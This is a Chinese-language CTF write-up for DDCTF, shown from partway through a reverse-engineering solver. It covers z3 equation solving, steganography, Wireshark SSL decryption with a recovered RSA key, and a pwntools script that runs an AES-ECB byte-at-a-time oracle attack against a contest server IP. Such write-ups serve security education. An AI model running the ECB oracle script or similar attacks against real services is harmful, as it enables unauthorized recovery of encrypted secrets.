if ins == "li":
imint = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
globalV[rd] = li(globalV[rd], numeric(imint))
elif ins == "lui":
try:
imint = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
globalV[rd] = lui(globalV[rd] if globalV[rd] else 0, numeric(imint))
except Exception, e:
print "Can't not lui:", line, "Reason:", e, "."
elif ins == "sw" and "($fp)" in line:
try:
offset = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
except Exception, e:
print "Exception:", e, line,
continue
if offset == "0x410":
continue
sw(globalV[rd], numeric(offset))
elif ins == "lw":
offset = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
try:
if offset == "0x410":
continue
globalV[rd] = lw(globalV[rd], numeric(offset))
except Exception, e:
print line, e
elif ins == "xori":
offset = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
globalV[rd] = xor(globalV[rd], numeric(offset))
elif ins == "xor":
print "Attention:", line,
continue
elif ins == "ori":
offset = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
globalV[rd] = xor(globalV[rd], numeric(offset))
elif ins == 'addi' or ins == "addiu":
if ins == 'addi':
print 'Attention:', line,
continue
offset = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
globalV[rd] = addiu(globalV[rd], numeric(offset))
elif ins == "subu":
rs = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*\$([0-9A-Fa-z]+)", line)[0]
if rs in globalV:
globalV[rd] = subu(globalV[rd], globalV[rs])
else:
print 'Not expect rs:', line,
elif ins == 'sra':
offset = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
globalV[rd] = sra(globalV[rd], numeric(offset))
elif ins == 'sll':
offset = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
globalV[rd] = sll(globalV[rd], numeric(offset))
elif ins == "mul":
rt = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*\$([0-9A-Fa-z]+)", line)[0]
rs = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*\$[0-9A-Fa-z]+,\s*\$([0-9A-Fa-z]+)", line)
if len(rs) > 0:
rs = rs[0]
if rt not in globalV or rs not in globalV:
print 'Not expect rt or rs:', line,
continue
globalV[rd] = mul(globalV[rs], globalV[rt])
else:
globalV[rd] = mul(globalV[rd], globalV[rt])
elif ins == "negu":
rs = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*\$([0-9A-Fa-z]+)", line)[0]
globalV[rd] = negu(globalV[rs])
else:
print "[!]Attention:", line,
else:
print "Skipping line:", line,
pass
print map(lambda x: hex(x), fp)
print fp
else:
n = 1
p = []
p_all = []
result = []
neguF = 0
for line in lines:
if isInstruction(line):
ins = re.findall("\.text:[0-9A-F]+\s+?([^\s]+?)\s+", line)[0]
rd = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$(.+?),", line)[0]
if rd not in globalV:
print "Not expect rd:", line,
continue
if rd == "v1":
if ins == "negu":
# TODO
print "Loop_%d needs negu!" % n
neguF = 1
elif ins == "beq":
# TODO
print "Loop_%d end" % n
if neguF:
p.insert(0, 1)
else:
p.insert(0, 0)
p_all.extend(p)
print len(p), p
n += 1
neguF = 0
p = []
elif ins == "subu":
p.append(-1)
print "v1 -= "
elif ins == "addu":
p.append(1)
print "v1 += "
elif ins == "mul":
rs = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*\$([0-9A-Fa-z]+)", line)[0]
if rs != "v0":
print "Attention:", line,
continue
print "v1 = %sv1 * v0" % ("~" if neguF else "")
else:
if ins == "lw":
continue
print "Attention:", line,
pass
if ins == "li" and rd == "v0":
print line
offset = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
print "Result:", offset
result.append(numeric(offset))
else:
# print "Skipping line:", line,
pass
print "\nResult:", result
print "num:", p_all
f.close()

然后将得到的fp数组,result数组和num数组放进这个脚本里面用z3解释器求方程组的解就是了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from z3 import *
def negu(v0):
num2bytes = bin(v0)[2:].zfill(32)
return int("".join(map(lambda x: "0" if x == "1" else "1", num2bytes)), 2) + 1
fp = []
result =[]
p = []#num
equation = []
for i in range(len(p) / 16):
a = p[i * 16:(i + 1) * 16]
b = fp[i * 16:(i + 1) * 16]
if a[0]:
b[0] = negu(b[0])
else:
a[0] = 1
d = map(lambda (a, b): a * b, zip(a, b))
s = ""
for t in range(16):
print ("+" if d[t] > 0 and t != 0 else "") + str(hex(d[t])) + "*" + "a[" + str(t) + "]",
s += ("+" if d[t] > 0 and t != 0 else "") + str(hex(d[t])) + "*" + "a[" + str(t) + "]"
print " = " + hex(result[i])
s += " == " + hex(result[i])
equation.append(s)
a = [BitVec("flag_%d" % i, 32) for i in range(16)]
so = Solver()
for i in equation:
so.add(eval(i))
print(so.check())
print(so.model())

由于数有点大,大概需要1分钟的样子解出答案

21-53-59.jpg

MISC

Misc2 - (╯°□°)╯︵ ┻━┻

每个字符的ASCLL码都加了128,去掉就好了

1
2
3
4
5
6
c = "d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb7b9b8e4b5b5e4e2b7b6b5b5b2e1b9b2b2e4b0b0e4b7b7b5e5b3b3b1b1b9b0b7fd"
flag = ""
for i in range(len(c) / 2):
flag += chr(int(c[i * 2:(i + 1) * 2], 16) & 0x7f)
print flag
#That was fast! The flag is: DDCTF{798d55db76552a922d00d775e3311907}

Misc4 - 第四扩展FS

一张windows.jpg,属性部分存在密码备注,图片里面存在ZIP的文件头PK,用winhex提取出zip

22-05-38.jpg

file.txt是一个充满字符的txt

22-05-46.jpg 22-06-02.jpg

很容易联想到字频统计之类的攻击
使用TextDecoder Toolkit这个工具进行字符统计
下载地址:http://www.kahusecurity.com/?page_id=13485,解压密码kahusecurity

22-07-11.jpg

得到flag

Misc3 - 流量分析

包里面用ftp传了sqlmap.zip和Fl-g.zip,后来才发现是陷阱(巨坑)
包里面的smtp里面传了一些无关紧要的东西,一些网页,一些对话,还有一张大图image001.png

22-08-49.png

然后将图片的base64编码提取出来,写进我们写的html文件

1
<img src="data:image/png;base64,xxxxxx(ImageBase64)”>

得到

22-09-27.jpg

通过提示很容易知道是一个RSA密钥的base64编码
随后在wireshark中搜索ssl协议流量,发现172.17.0.3与172.17.0.2之间有ssl通信
猜测图片中的密钥是其中一方的私钥

22-09-48.jpg

将图片的密钥变成标准格式(机器OCR+人眼OCR)

22-09-56.jpg

将密钥导进wireshark,编辑 -> 首选项 -> protocols -> SSL -> RSA keys list Edit

22-14-23.jpg

然后在ssl流量中发现解密出来的flag

22-14-51.jpg

Misc5 - 安全通信

这题比较快地写了出来,google找到一篇github的文章,刚好是对应的类型,然后写了个脚本就好了,文章地址: https://github.com/liamh95/CTF-writeups/tree/master/CSAW17/baby_crypt
题的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
import sys
import json
from Crypto.Cipher import AES
from Crypto import Random
def get_padding(rawstr):
remainder = len(rawstr) % 16
if remainder != 0:
return '\x00' * (16 - remainder)
return ''
def aes_encrypt(key, plaintext):
plaintext += get_padding(plaintext)
aes = AES.new(key, AES.MODE_ECB)
cipher_text = aes.encrypt(plaintext).encode('hex')
return cipher_text
def generate_hello(key, name, flag):
message = "Connection for mission: {}, your mission's flag is: {}".format(name, flag)
return aes_encrypt(key, message)
def get_input():
return raw_input()
def print_output(message):
print(message)
sys.stdout.flush()
def handle():
print_output("Please enter mission key:")
mission_key = get_input().rstrip()
print_output("Please enter your Agent ID to secure communications:")
agentid = get_input().rstrip()
rnd = Random.new()
session_key = rnd.read(16)
flag = '<secret>'
print_output(generate_hello(session_key, agentid, flag))
while True:
print_output("Please send some messages to be encrypted, 'quit' to exit:")
msg = get_input().rstrip()
if msg == 'quit':
print_output("Bye!")
break
enc = aes_encrypt(session_key, msg)
print_output(enc)
if __name__ == "__main__":
handle()

代码大致意思是首先生成一个对话的随机key,然后用AES的ECB(Electronic codebook)模式将一段嵌入agent idflagmessage进行加密,密钥就是随机的key,然后输出加密的结果
接下来是一个循环,继续利用刚才的密钥对我们接下来输入的信息进行加密然后输出结果
ECB加密是分组进行加密的,解密也是分组解密。分组与分组之间的明文产生的密文互相独立,且由于算法的缘故,相同的明文分组在相同的密钥加密下会产生相同的密文
加解密流程如下图所示

引用自维基百科
22-50-28_1.jpg

22-50-56_1.jpg

而我们要做的事是通过这些个分组且明文加密固定密文的特性猜出flag的每一位来
题中以16字节为一组,我们举例也拿16字节为一组举例
首先我们假设xxxx使我们可控的输入,一般情况下的加密会是这样的

ECB1_1.png

但是如果我们控制xxx为十五个固定的字符如十五个A
则加密过程会变成这样:

ECB2_1.png

现在我们记录下此时的HEX_1
然后再通过Fuzz的方法让同样的密钥对我们特定的分组进行加密,如

1
2
3
4
5
6
AAAAAAAAAAAAAAAa
AAAAAAAAAAAAAAAb
AAAAAAAAAAAAAAAc
AAAAAAAAAAAAAAAd
....
AAAAAAAAAAAAAAA*

然后将这些加密后的HEXHEX_1进行比较,加密后的密文相同则说明明文相同,所以我们可以猜测出Flag的第一位是F
然后依次类推,推导出所有的字节就好了
然后回到我们这题
flag共39位,可以通过测试id逐字节加再观察加密后的HEX长度得到
利用python的pwntools库完成和远程程序交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import string
# context.log_level = 'debug'
def respone(recv_buf, send_buf, new_line=True):
pro.recvuntil(recv_buf)
if new_line:
pro.sendline(send_buf)
else:
pro.send(send_buf)
flag = ""
while 1:
pro = remote("116.85.48.103", 5002)
respone("mission key:\n", "You_session_key")
payload = (45 - len(flag)) * "1"
respone("communications:\n", payload)
c = pro.recvuntil('\n', drop=True)[160:160 + 32]
for i in string.printable:
message = "Connection for mission: {}, your mission's flag is: {}".format(payload, flag + i)
respone("exit:\n", message)
m = pro.recvuntil('\n', drop=True)[-32:]
if c == m:
log.info("Find char: %s", i)
flag += i
break
pro.close()
log.info("Flag: %s", flag)
sleep(1)
23-30-06.jpg

结尾

比赛过程挺刺激的,依旧持续了一个星期之久
最后也是混了个22名吧
一年过去了,依旧那么菜
希望下一年自己能够找到自己真正喜欢的领域去深入研究吧

23-37-22.jpg


----- 感谢阅读 -----